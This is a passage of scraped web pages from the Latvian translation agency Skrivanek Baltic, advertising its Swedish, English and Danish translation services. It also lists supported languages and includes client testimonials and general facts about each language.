tulkojumiem, tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Nodrošinām arī tekstu zviedru valodā korektūru un stilistisko uzlabošanu. Protams, valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Visi tulkotāji, tulki, korektori un redaktori ir parakstījuši konfidencialitātes līgumu, tādēļ jūs droši varat uzticēt mums savus tulkojamos oriģināltekstus. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz zviedru valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga tekstu tulkojumus, sadarbības līgumu, uzņēmējdarbības dokumentāciju tulkošanu, tehnisko tekstu tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos. Fiziskām personām veicam personu apliecinošo dokumentu, laulības apliecības, bērnu dzimšanas apliecības, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. KUR UN CIK DAUDZ RUNĀ ZVIEDRU VALODĀ? Zviedru valodā runā apmēram 10 milj. cilvēku visā pasaulē, visvairāk Zviedrijā (9,4 milj. ). Zviedru valoda, kurā runā vairums Zviedrijas iedzīvotāju, ir vai nu viņu dzimtā vai otrā saziņas valoda. Somijā apmēram 5% iedzīvotāju (apmēram 290 000) zviedru valoda ir dzimtā valoda. Zviedru valoda ir arī obligāts skolas mācību priekšmets somu kā dzimtajā valodā runājošiem skolēniem, tāpēc daudzi cilvēki Somijā runā zviedriski vai arī saprot zviedru valodu. Tomēr faktiskās zviedru valodas lietojuma prasmes Somijā ir atšķirīgas dažādos valsts reģionos. Somijas autonomais Ālandu salu apgabals ir praktiski zviedru valodas lietojuma areāls. Vairākus simtus gadu zviedru valodā runājoši ļaudis ir dzīvojuši Igaunijas piekrastes rajonos. Lielākā daļa no viņiem bēgļu gaitās Otrā pasaules kara laikā devās uz Zviedriju. Saistībā ar lielu emigrācijas plūsmu no Ziemeļeiropas uz Ziemeļameriku 19. gadsimta beigās un 20. gadsimta sākumā Amerikas Savienotajās Valstīs ir daudz zviedru izcelsmes iedzīvotāju ─ 70 000, un daudzi no viņiem cenšas saglabāt savu senču dzimto valodu. Kanādā dzīvo aptuveni 20 000 zviedru valodas pratēju, nelielas zviedru diasporas ir arī Spānijā un Lielbritānijā. Neliels zviedru valodā runājošs iedzīvotāju skaits ir bijis tā sauktajā senajā zviedru ciemā Starošvedskojē (Gammalsvensbija (Gammalsvenskby), tag. Starošvedske) Ukrainas dienvidos kopš 18. gadsimta beigām, kad viņi tika izraidīti uz turieni no Igaunijas ZVIEDRU VALODA BIZNESĀ Lielākoties zviedru valodu lieto tikai biznesa sadarbībai ar Skandināvijas valstīm. Lai gan tā ir viena no ES oficiālajām valodām, tai nav lielas nozīmes starptautiskajā biznesa arēnā. Daudzās Eiropas valstīs lielu popularitāti iegūst zviedru valodas mācību skolas, kursi, aizvien vairāk cilvēku vēlas apgūt šo valodu, jo tā paver iespējas atrast labi atalgotu darbu uzņēmumos, kuriem ir sadarbība ar Zviedrijas uzņēmējiem. ZVIEDRIJAS UN LATVIJAS SADARBĪBA Latviju un Zviedriju vieno vēsturiskas saites un aktīva divpusējā sadarbība, kuras pamatā ir ciešs visu līmeņu un jomu dialogs un kopīga vēlme nodrošināt stabilitāti, labklājību un drošību Baltijas jūras reģionā un Eiropā kopumā. Zviedrija ir viena no nozīmīgākajām Latvijas ekonomiskās sadarbības partnervalstīm. Zviedrijas vēstniecība, kas Rīgā tika atklāta 1991. gada 29. augustā, bija viena no pirmajām ārvalstu vēstniecībām atjaunotajā neatkarīgajā Latvijā. 2019. gadā tika nodibināts Zviedrijas – Latvijas Sadarbības fonds. Tā galvenais mērķis ir sekmēt abu valstu sadarbību, veicinot kontaktu, zināšanu un informācijas apmaiņu, popularizēt latviešu valodu Zviedrijā un zviedru valodu Latvijā. Sadarbība ar Zviedriju kultūras jomā ir aktīva. Ciešas saites vieno Latvijas un Zviedrijas muzeju un pieminekļu aizsardzības ekspertus. Sadarbība bibliotēku, kultūras mantojuma, teātra, dejas u. c. jomās notiek arī dažādu starptautisku sadarbības platformu ietvaros. 2014. gadā Rīga un Zviedrijas pilsēta Ūmeo bija Eiropas Kultūras galvaspilsētas. Izceļot savu kultūras bagātību un daudzveidību Eiropā un pasaulē, starp abām pilsētām tika īstenoti arī virkne kopprojekti un veidoti kontakti turpmākai sadarbībai. Laba sadarbība ar Zviedriju izveidojusies Latvijas Etnogrāfiskajam brīvdabas muzejam ─ muzejs tika izveidots, iedvesmojoties no Zviedrijas Skansena muzeja parauga. Arī Zviedrijas Karaliskā bibliotēka ir ilgstoša Latvijas Nacionālās bibliotēkas sadarbības partnere. Zviedrijas rakstnieki un tulkotāji ir bieži viesi Starptautiskajā tulkotāju un rakstnieku mājā Ventspilī. Pēc Latvijas neatkarības atjaunošanas būtisks bija Zviedrijas ieguldījums Rīgas Ekonomikas augstskolas (kopš 1994. gada) un Rīgas Juridiskās augstskolas (kopš 1997. gada) dibināšanā un to attīstībā. Abas augstskolas nodrošina augstas konkurētspējas izglītību arī starptautiskā līmenī. Abu valstu studenti un mācībspēki izmanto studiju iespējas otrā valstī. Latvijas augstskolām jau pastāv veiksmīga sadarbība ar Zviedriju Eiropas Savienības programmu BRILLIANT, ERASMUS +, CAMART ietvaros. Latvijas Kultūras akadēmija piedāvā studiju virzienu “Starptautiskie kultūras sakari Latvija – Zviedrija”. Tāpat Latvijas Universitātē ir iespēja apgūt zviedru valodu. Papildu informācija par to šeit. Savukārt latviešu valodu kā svešvalodu var apgūt Stokholmas Universitātē. Papildu informācija par to šeit. Zviedrijas pilsoņu intereses Latvijā pārstāv Zviedrijas vēstniecība Latvijā. Saite uz vēstniecības mājaslapu šeit. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ZVIEDRU VALODĀ: dokumentu tulkošana zviedru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; zviedru valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi zviedru valodā; zviedru valodas kursi. ZVIEDRU VALODAS KOMBINĀCIJAS: latviešu–zviedru; zviedru–latviešu; igauņu–zviedru; zviedru–igauņu; lietuviešu–zviedru; zviedru–lietuviešu; krievu–zviedru; zviedru–krievu; poļu–zviedru; zviedru–poļu; ukraiņu–zviedru; zviedru–ukraiņu; čehu–zviedru; zviedru–čehu; vācu–zviedru; zviedru–vācu; spāņu–zviedru; zviedru–spāņu; franču–zviedru; zviedru–franču; itāļu–zviedru; zviedru–itāļu; dāņu–zviedru; zviedru–dāņu; somu–zviedru; zviedru–somu; norvēģu–zviedru; zviedru–norvēģu; angļu–zviedru; zviedru–angļu u. c. --- > Rakstiskie tulkojumi, mutiskie tulkojumi un citi valodu pakalpojumi visās populārākajās Eiropas valodu kombinācijās. Saņemiet bezmaksas cenas aprēķinu! - Published: 2017-09-29 - Modified: 2024-02-28 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/ - Translation Priorities: Optional afrikandu aimaru akadiešu albāņu amharu angļu arābu armēņu azerbaidžāņu baltkrievu baškīru bengāļu birmiešu bišlamā bosniešu bulgāru burjatu cvanu čehu čukču dari dāņu dzongke farsi fēru franču grieķu gruzīnu gvaranu hindi holandiešu (flāmu) horvātu igauņu indonēziešu islandiešu itāļu ivrits (ebreju) īru japāņu katalāņu kazahu kečvu khmeru kiņaruanda kirgīzu komiešu kongu korejiešu kosrājiešu kreoliešu krievu kurdu ķīniešu laosiešu latīņu latviešu lietuviešu maķedoniešu malagasu malajiešu maldīviešu maltiešu marathu moldāvu mongoļu nauruiešu ndebelu nepāliešu njandža (čičevapedi) norvēģu palaviešu pedi (ziemeļsotu) persiešu poļu portugāļu puštu rumāņu rundu samoāņu sanskrits serbu sesoto (dienvidsotu) singāļu slovāku slovēņu somāļu somu spāņu svahili svazu (svatu) šumeru tadžiku tagalu taju tamilu tatāru tibetiešu tigru tongu (tongiešu) turkmēņu turku ukraiņu ungāru urdu uzbeku vācu vendu vjetnamiešu volofu zviedru un citas afrikandu aimaru akadiešu albāņu amharu angļu arābu armēņu azerbaidžāņu baltkrievu baškīru bengāļu birmiešu bišlamā bosniešu bulgāru burjatu cvanu čehu čukču dari dāņu dzongke farsi fēru franču grieķu gruzīnu gvaranu hindi holandiešu (flāmu) horvātu igauņu indonēziešu islandiešu itāļu ivrits (ebreju) īru japāņu katalāņu kazahu kečvu khmeru kiņaruanda kirgīzu komiešu kongu korejiešu kosrājiešu kreoliešu krievu kurdu ķīniešu laosiešu latīņu latviešu lietuviešu maķedoniešu malagasu malajiešu maldīviešu maltiešu marathu moldāvu mongoļu nauruiešu ndebelu nepāliešu njandža (čičevapedi) norvēģu palaviešu pedi (ziemeļsotu) persiešu poļu portugāļu puštu rumāņu rundu samoāņu sanskrits serbu sesoto (dienvidsotu) singāļu slovāku slovēņu somāļu somu spāņu svahili svazu (svatu) šumeru tadžiku tagalu taju tamilu tatāru tibetiešu tigru tongu (tongiešu) turkmēņu turku ukraiņu ungāru urdu uzbeku vācu vendu vjetnamiešu volofu zviedru un citas VALODU PAKALPOJUMI, KURUS VISBIEŽĀK NODROŠINĀM MŪSU KLIENTIEM: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi; bērnu nometnes ↗; valodu kursi; u. c. NEATRADĀT VĒLAMO VALODU? NEPIECIEŠAMA KONSULTĀCIJA? Sazināties VALODU PAKALPOJUMI, KURUS VISBIEŽĀK NODROŠINĀM MŪSU KLIENTIEM: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi; bērnu nometnes ↗; valodu kursi; u. c. NEATRADĀT VĒLAMO VALODU? NEPIECIEŠAMA KONSULTĀCIJA? Sazināties TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti NOZARES, KURĀS VISBIEŽĀK VEIKTI TULKOJUMI: Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > General and specialised translations in English. Notary-certified translations. Interpreting services and other English language solutions. - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional ENGLISH TRANSLATIONS HOW MUCH DO ENGLISH TRANSLATIONS COST? Translation cost from and to English is calculated for every order individually. The price calculation takes into account various elements specific to your order, for example, the price of sequential oral and simultaneous translations is based on the time of providing the service, location of the event, travel costs, and daily allowance. In simultaneous translation, expenses for technical support are additionally calculated depending on the number of participants in the event, etc. The price of written translations consists of the volume and readability of the translated material, the due date of the translation, the complexity of the terminology, repetitions in the text, formatting and complexity of pictures and graphics, correction, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Of course, the price list of written and oral translations (simultaneous and sequential), localisation, and adaptation from and to English is an integral part of our contracts with clients. Each time, the Skrivanek Baltic translation agency project managers prepare detailed information about the cost of the translation before starting a translation project. The price offer is prepared in 30 minutes. The price of written translations is based on the number of words in the text, repetitions, complexity of graphic elements, and other parameters. In order for you to receive a price offer, we will wait for your material to be translated in our e-mail. Contact Skrivanek Baltic today for a free quote on English translation or any other combination of translation and related business services. Our English language services include: English Document Translation English Simultaneous Interpretation English Linguistic Validation English Consecutive Interpretation English Transcription English Typesetting and Graphics English Voiceovers and Subtitling English Staffing Solutions English Multicultural Marketing English Document Management English Deposition Services English Virtual Data Room Services English E-learning Support Looking for a language solution in English? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE ENGLISH LANGUAGE The origins of modern English can be traced back to the 7th century AD when three Germanic tribes arrived in the British Isles – Angles, Saxons, and Jutes, which together created the Anglo-Saxon tribes in the 7th–8th centuries by mixing with the local inhabitants of the Isles – Celts, Picts, and Scots. The English language can be categorised into three time periods: Old English or Anglo-Saxon (8th–11th centuries) Middle English (12th–16th centuries) Modern English (from 16th century to now) English is a West-Germanic language of the Indo-European language family. There are several English variants in the world that differ from each other in terms of pronunciation, vocabulary, and grammar: Australian English, British English, Canadian English, etc. Each English variant has multiple dialects. For example, the main British English dialects are the South English dialect, Middle English dialect, North English dialect, as well as the Irish dialect, Scottish dialect, Welsh dialect, etc. Undeniably English is the most popular language in the world. Its ancient history, rich vocabulary, literature, and universities are only a few of the reasons that make English so special. And there are many aspects that make this language such an interesting and unique embodiment of English culture and traditions. Some of them make us smile and seem peculiar. But even the strangest fact related to this beautiful language will be said with a royal accent! The shortest grammatically correct sentence in English is ‘Go! ’ The original form of the word butterfly was flutterby. Every year 4000 new words are added to the English dictionary. The most frequently English words are ‘I’ and ‘you’. English is considered the happiest language in the world because the word ‘happy’ is used three times more than the word ‘sad’. English is the only popular language that is not regulated by any of the state institutes for language. More than 80% of saved and available information on the internet is in English. The word ‘lol’ was added to the Oxford English Dictionary in 2011. At one point Lewis Carroll’s Alice in Wonderland was banned in China since the Chinese government believed that animals should not be given the right to speak in a human language thus emphasising equality between humans and animals. Charles Dickens was quite superstitious – he believed that sleeping in a northern direction would improve his talent. He always carried a compass with him to make sure he is sleeping in the right direction. Originally only male actors were allowed to act in Shakespeare’s plays. Women were forbidden to be on a stage at that time in England. Leonardo da Vinci’s Codex Leicester, purchased by Bill Gates for ‘only’ 30 million US dollars, is one of the most expensive books in English. THE ENGLISH ALPHABET Written English has used the Latin alphabet since the 9th century, before that Anglo-Saxon runes were used. The alphabet consists of 26 letters, each letter has both an upper-case and lower-case form. It is one of the rare languages that does not use diacritical marks in writing. The most frequently used letter in English is e. The least frequent is z. The apostrophe in English is not used as a diacritical mark and is not included in the alphabet. In writing, it is used for two important purposes – to mark the possessive form for singular and plural nouns and personal pronouns, as well as for contractions. HOW DIFFICULT IS ENGLISH? English is exceptionally difficult to learn. The language has complex grammar, spelling, and pronunciation, which confuses even the native speakers. English has an abundance of idioms and metaphors. For example, the phrase she kicked the bucket would literally mean someone kicking a bucket with their feet, but in everyday speech, the meaning is completely different – the phrase means ‘she died’. There could be thousands of similar examples and sometimes they are even puzzling to native English speakers, let alone to those who are learning it as a foreign language. There are many English words whose origins seem irrational, sometimes even hilarious, for example, the word pineapple. In literal meaning, this word consists of two words – pine and apple. But what does it have to do with the object itself? The pronunciation is difficult as well since it does not match the spelling. Consonants or combinations of vowels can be pronounced differently based on the placement in a word. There are a lot of homonyms in English. Native English speakers usually know which meaning the speaker intended, but it might cause misunderstandings for a learner. Each level of English knowledge requires at least 120 studying hours, but they basically take up 200 hours. Therefore, 1200 studying hours are required to reach an advanced level. WHERE AND HOW MANY PEOPLE SPEAK ENGLISH? English is the most common language in the world and is used as an international communication language in all parts of the world. It is estimated that the number of English speakers has increased to two billion. It is the native language for around 400 million people, and English is the official language in 54 world countries and 24 territories. English is one of the official languages in many of these countries and territories, but in some countries, most of the population does not understand English even if it is the official language. There are also countries where English is the dominant language even though it does not have an official status, for example, in Australia. Most English speakers live in the USA, India, Pakistan, Nigeria, and the Philippines. The five largest countries by the number of native English speakers are the USA, United Kingdom, Canada, Australia, and New Zealand. English is also the native language of many Irish citizens. English as a second language is most often used in Denmark, Germany, the Netherlands, Slovenia, and Sweden. ENGLISH INTERPRETER AND TRANSLATOR The amazing team of interpreters and translators at Skrivanek Baltic has done translations of standard written documents, documentations of European Union institutions and the largest non-state organisations in the world, complex medical and technical texts, and notarised documents for more than 30 years. The Skrivanek Baltic translation agency also provides proofreading and stylistic improvement of texts in English, and the creation of SEO content and advertisement slogans that are carried out by our native English speakers in the United Kingdom, United States of America, Canada, and Australia. Our linguists will gladly provide information about cultural differences, business etiquette, history, and traditions. We most often do the following translations from and to English for business clients – websites and e-commerce content, digital marketing content and adaptation and adjustment of meta tags, cooperation agreements, legal acts, court rulings, and business documentation. We also do sequential translation in business or other types of events. We translate court hearings of all instances, high-level international conferences, and events on Zoom and other online platforms. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. THE ENGLISH LANGUAGE IN BUSINESS Language has a significant role in business and it can be an effective tool for developing business on a global level. Therefore, learning and knowing languages provides a huge opportunity to evolve business, and collaborate with foreign investors and entrepreneurs. English is the most widespread language of communication in the world, and that is why English is dominant in the world of business. English skills help establish a business in any of the 7 continents. That is the reason why English has become the only language to have 1 billion active learners around the world. It is a native language in many world countries, many learn it as their first foreign language, and there is no country in the world that does not have education institutions where one can learn English. The world’s leading organisations use it as their official and work language, and countless scientific, technological and other research is carried out and written in English. It is the main language in software development and use, it takes the first place as the language of the internet. Numerous international companies have adopted English as their main workplace language, even though the country of registration is not even an English-speaking country. Some of the more noticeable examples could be Nokia in Finland and Airbus in France. English knowledge will provide any entrepreneur the opportunity to expand their company outside their country. It is a huge prospect and an unfathomable market sector worldwide. THE UNITED KINGDOM AND THE REPUBLIC OF LATVIA The United Kingdom was the first country in the world that recognised the Latvian Provisional National Council as a de facto independent institution and Zigfrīds Anna Meierovics as an unofficial diplomatic representative of the Latvian Provisional National Council in the United Kingdom on 11 November 1918 (a week before Latvia’s declaration of independence on 18 November 1918). The British Armed Forces participated in the Latvian War of Independence in 1919. In the spring of 1919, the steamboat Saratov, which had anchored in the Baltic Sea near Liepāja and was the temporary shelter and place of operation for the Latvian Provisional National Council and its leader Kārlis Ulmanis, was under the protection of the British warships. The help provided by the Brits created the notion that the United Kingdom is a friendly state power to Latvia. The United Kingdom historically has been a significant trade partner of Latvia. It has always been important for the interests of Latvia to ensure the widest possible economic ties – attracting investments, trade, and cooperation in science and technology. Latvia and the United Kingdom have active cooperation in the fields of higher education and science. Most universities in Latvia have signed cooperation agreements with British universities for exchanging students, educators, and researchers. Within the framework of this agreement, scientific conferences and seminars are hosted together, scientific articles are published, and educational and methodical literature is issued. Regular collaboration takes place in cinema, music, literature, and visual arts, as well as between theatres, museums, and national libraries. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ENGLISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to English; English to Latvian; Estonian to English; English to Estonian; Lithuanian to English; English to Lithuanian; Russian to English; English to Russian; Czech to English; English to Czech; Polish to English; English to Polish; Ukrainian to English; English to Ukrainian; English to Spanish; Spanish to English; German to English; English to German; Italian to English; English to Italian; French to English; English to French; Danish to English; English to Danish; Norwegian to English; English to Norwegian; Swedish to English; English to Swedish; Finnish to English; English to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ENGLISH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to English; English to Latvian; Estonian to English; English to Estonian; Lithuanian to English; English to Lithuanian; Russian to English; English to Russian; Czech to English; English to Czech; Polish to English; English to Polish; Ukrainian to English; English to Ukrainian; English to Spanish; Spanish to English; German to English; English to German; Italian to English; English to Italian; French to English; English to French; Danish to English; English to Danish; Norwegian to English; English to Norwegian; Swedish to English; English to Swedish; Finnish to English; English to Finnish and others. --- > Specialised and general translations in Danish language. Interpreting and other Danish language solutions. Contact us! - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional INTERPRETATION AND TRANSLATION IN DANISH HOW MUCH DO TRANSLATIONS IN DANISH COST? The price for translations to/from Danish is always determined on a per-order basis. The price of consecutive or simultaneous interpretation is determined by the time, place, travel, per diem, technical support costs, etc. of the service, and is determined by several important factors that can only be determined by seeing the material itself. For written translations, the price is determined by the volume of the material to be translated, the deadlines for the translation, the specific content of the text, repetitions in the text, the graphic treatment and formatting of the text, proofreading, as well as additional services chosen by the client. IS THERE A PRICE LIST FOR TRANSLATIONS? Of course, the price list for both translation and interpretation (simultaneous and consecutive), localisation and adaptation services from and into Danish is an integral part of our cooperation agreement with our clients. Skrivanek’s translation project managers prepare detailed information on the price of a translation before the start of each translation project. We look forward to receiving your translated material by email for the price. Contact Skrivanek Baltic today for a free quote on Danish translation or any other combination of translation and related business services. Our Danish language services include: Danish Document Translation Danish Simultaneous Interpretation Danish Linguistic Validation Danish Consecutive Interpretation Danish Transcription Danish Typesetting and Graphics Danish Voiceovers and Subtitling Danish Staffing Solutions Danish Multicultural Marketing Danish Document Management Danish Deposition Services Danish Virtual Data Room Services Danish E-learning Support Looking for a language solution in Danish? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE DANISH LANGUAGE AND MORE Danish is part of the East Scandinavian branch of the North Germanic languages. It began to separate from other Scandinavian languages, to which it is closely related, around the year 1000 AD. The oldest Danish writings are runic inscriptions dating from years 250–800 AD, they have been found in Jutland and in the south of Sweden, and the earliest manuscripts in the Danish language date back to the 13th century. Danish is one of the Scandinavian languages that has undergone the most changes, due to developing as a separate language from Old Norse. Together with other North Germanic languages, Danish is a descendant of Old Norse, the common language of the Germanic people who lived in Scandinavia during the Viking Age. Danish, together with Swedish has originated from the East Norse dialect group, whereas the Norse language (before Danish influence) and Norwegian Bokmål is classified as West Norse together with Faroese and The newest classification based on mutual understanding separates modern spoken Danish, Norwegian and Swedish as “Continental Scandinavian languages”, whereas Icelandic and Faroese are classified as “Island Scandinavian languages”. Although written languages can be compatible, spoken Danish significantly differs from Norwegian and Swedish and therefore the degree of mutual understandability with both languages is different depending on the region and the speakers. Danish is closely related to English and German in vocabulary and grammar, but Danish, Swedish and both Norwegian languages (Bokmål and Nynorsk) in essence can be considered dialects of one language. The most similar language to Danish is the Norwegian Bokmål which Danish speakers can understand without difficulty, however with a little difficulty they can understand Swedish also. Icelandic and Faroese, on the other hand, are not comprehensible to Danish speakers without additional training. Hans Christian Andersen wrote his fairy tales in Danish. In Danish there is no word for “please”. Instead, there are gestures that express politeness. In Denmark, multiple ministries regulate the naming of children to ensure that the parents don't give them weird, thoughtless or even foolish names. Danish culture has more respect for citizens’ equality, not which family they are born in, and that's why the name choosing is pretty standardised. Parents have the option to choose from more than 7000 approved boy and girl names. In 2016, the United Nations ranked Denmark as the happiest country in the world. It has held its position until now. In Denmark, bats are protected by law, you can't kill them or banish them from your home. THE DANISH ALPHABET The oldest remaining examples of Danish writings (from the Iron Age and Viking Age) are written in the runic alphabet. The introduction of Christianity to Denmark also brought Latin script and in the High Middle Ages, the runes had been largely replaced with Latin letters. The Danish–Norwegian alphabet is based on the Latin alphabet. Since 1917 in Norwegian, and since 1948 in Danish, it consists of 29 letters – all 23 Latin letters plus J, W, U, Æ, Ø and Å. In both language variants there are 35 phonemes: nine vowels i, e, æ, a, å, o, u, y, ø; six diphthongs au, ei, øy (Old Norse), oi, ui (borrowing), ai; 20 consonants b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z. All vowels can be both short and long. Letters C, Q, W, and Z are not used to spell local words. The Danish language tends to conserve the original spelling of loan words. In particular, the letter c is almost never normalised to s in Danish. Many words originally derived from Latin roots retain the letter c in the Danish spelling. The writing follows phonetic and etymological principles and uses the Latin alphabet with the three vowels æ, ø, å. The letter å was introduced into orthography in 1948 as a result of spelling reforms, replacing the letter aa. The new letter comes from the Swedish alphabet which has been in use since the 16th century. Nowadays this letter combination has been saved in people’s names. The difference between the Danish-Norwegian and Swedish alphabet is that in Swedish in place of ä, æ is used, and in place of ø, ö is used, similar to German. Nowadays, in Danish and Norwegian, the letter w is recognised as a separate letter from v. HOW DIFFICULT IS DANISH? The thoughts of linguists on the difficulty differ. One side thinks that Danish is easy to learn, especially for English and German speakers. Others think that Danish grammar is sufficiently complex. Written Danish is not difficult to understand and learn, but the spoken language is more difficult, as Danes pronounce words in a shortened manner, sometimes even merging the words together in a sentence. And written Danish almost always does not match to how the words are pronounced. Interestingly, the Danes themselves think that the one and only person who speaks in perfect Danish is the Queen of Denmark Margrethe II. It is considered that if you dedicate an hour a day to learning Danish, then you can learn it in a year and a half, i. e. there are 575 – 600 lessons necessary which is about 23 to 24 weeks of full-time studying. WHERE AND HOW MANY SPEAK DANISH? There are 5. 6 million Danish speakers worldwide. Danish is the official language of Denmark and the Faroe Islands. The language is also used in Greenland, Iceland and Germany. Relatively large Danish speaking communities have also developed in Argentina, the US and Canada. In Greenland, children learn Danish in school and 56,000 people who live in Greenland speak Danish as their second language. Danish is spoken as 